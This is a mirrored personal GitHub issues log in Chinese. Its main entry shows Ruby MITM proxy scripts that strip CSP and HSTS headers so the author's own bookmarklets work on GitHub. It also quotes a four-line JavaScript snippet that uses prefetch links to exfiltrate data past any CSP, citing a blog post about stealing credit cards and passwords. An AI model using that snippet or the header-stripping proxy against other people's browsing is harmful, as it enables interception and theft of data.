Coder Social home page Coder Social logo

learninglogs's Issues

awesome list about API, image, mtPaint tutorial

how to remove https CSP headers

為什麼要處理這個議題?

寫了些自己常用的 bookmarklets,但總不能在 github 的網頁運行,是因為裡面有 CSP: Content Security Policy 政策,讓 chrome, firefox 看到這些 headers: content-security-policy, strict-transport-securitystrict-transport-security,而造成 bookmarklet 無法執行。

找了這些方案無效

Doesn't work because of Content Security Policy - Greasy Forum -- 這招在 firefox 有解決

CSP Tester -- 來測試

Content Security Policy -- github 一直解決不了的原因所在!

javascript - Does Content Security Policy block bookmarklets? - Stack Overflow -- 不是很有效,可參考

HomeMarks - Bookmarklet Fixed For Sites With Strict CSP Policies -- 號稱可解決?

homemarks: HomeMarks is a web based GUI to build HTML start pages -- 其github裡原始碼值得看

_bookmarklet.html.erb

試過調整 squid cache 來移除 response header,無效。

以上是透過既有的軟體設定無效的過程。

從 ruby 來解決

將用 torsten/proxy.rb 來改寫可移掉 Content-Security-Policy 的 header 的簡單 proxy。但只能處理 port 80, SSL 無法處理。

參考:
ruby SSL proxy (MITM) - Stack Overflow

ssl - How do I write a simple HTTPS proxy server in Ruby? - Stack Overflow

利用 rack-proxy 試試能不能如願,但不確認是否能做成給一般 browser 用的 proxy,而沒再試。

以 webrick 來建立 proxy

fedux.org – Setting up an HTTP proxy with ruby
Creating a Forward Proxy with WEBrick | Independent Software
根據這兩篇,再看 webrick/lib/webrick/httpproxy.rb 來寫了這個:

# encoding: utf-8
# https://www.fedux.org/articles/2015/04/11/setup-a-proxy-with-ruby.html
# http://www.independent-software.com/creating-a-forward-proxy-with-webrick/
#
require 'webrick'
require 'webrick/httpproxy'
require 'logger'

#logger = Logger.new($stderr)
#logger.level = Logger::DEBUG

def handle_resquest(req, res)
  #puts "[REQUEST] " + req.request_line
  #res.header.delete('Content-Security-Policy')
end

handler = proc do |req, res|
  puts res['content-type']
  puts res.body.class
  if res['content-type'] == 'text/html'
    res.body = res.body.upcase
  end
  #res.body << "\nCHANGED\n"
end

#proxy = WEBrick::HTTPProxyServer.new Port: 3128
#proxy = WEBrick::HTTPProxyServer.new Port: 3128, Logger: logger
proxy = WEBrick::HTTPProxyServer.new(
  :Port => 3128,
  #:Logger => logger,
  :ProxyContentHandler => handler)
trap 'INT' do proxy.shutdown end
trap 'TERM' do proxy.shutdown end

proxy.start

結果是 http 可以,https 不行,原來若 https , header, body 都是空的。
試著把 $HOME/.rvm/rubies/ruby-2.5.0/lib/ruby/2.5.0/webrick/httpproxy.rb 直接接抓改 header,結果也是 http 可以,但 https 的 headers, body 都是空的。

最終解決方案 evil-proxy

bbtfr/evil-proxy: A ruby http/https proxy to do EVIL things. 是對 https 的正解

改body:

# encoding: utf-8
# change http body
require 'evil-proxy'

proxy = EvilProxy::MITMProxyServer.new Port: 3128

proxy.before_response do |req, res|
  #puts res.inspect
  body = res.body << "\nCHANGED\n"
  res.header['content-length'] = body.length
  res.body = body
end

proxy.start

改 header:

# encoding: utf-8
# remove https header
# import CA certificate (./certs/CA/cacert.pem) into browser
# https://github.com/bbtfr/evil-proxy/blob/master/lib/evil-proxy/quickcert.rb
#
require 'evil-proxy'

proxy = EvilProxy::MITMProxyServer.new Port: 3128

proxy.before_response do |req, res|
  res.header.delete('content-security-policy')
  res.header.delete('strict-transport-security')
  #puts res.header.inspect
end

proxy.start

但 browser 要先匯入 CA certificate (./certs/CA/cacert.pem)
ssl01

ssl02

ssl03

相關文章

我是這樣拿走大家網站上的信用卡號跟密碼的
下面這四行程式就算是最嚴格的 CSP 也能夠輕鬆繞過

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

trending

SBC系統架構學

github 成立組織帳號、分享dotfiles、Markdown 語法、gitbook

some git, github

github search

take a look github's organization

10 tabs

markdown comment

asciidoc links to markdown links

sed -e "s/\(.*\)\[\(.*\)\]/- [\2](\1)/g"

tika, algolia

pubmed NCBI

remove linux packages

remove linux packages

以 resque 來做 pg 查詢會碰上 connection 太多而錯誤的情形

coffeescript

從書裡看來的資源

CSS Grid

CSS Grid

介紹的CSS Grid資源

學習CSS Grid

其他介紹

google: Rachel Andrew and Morten Rand-Hendriksen YT

Flexbox

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.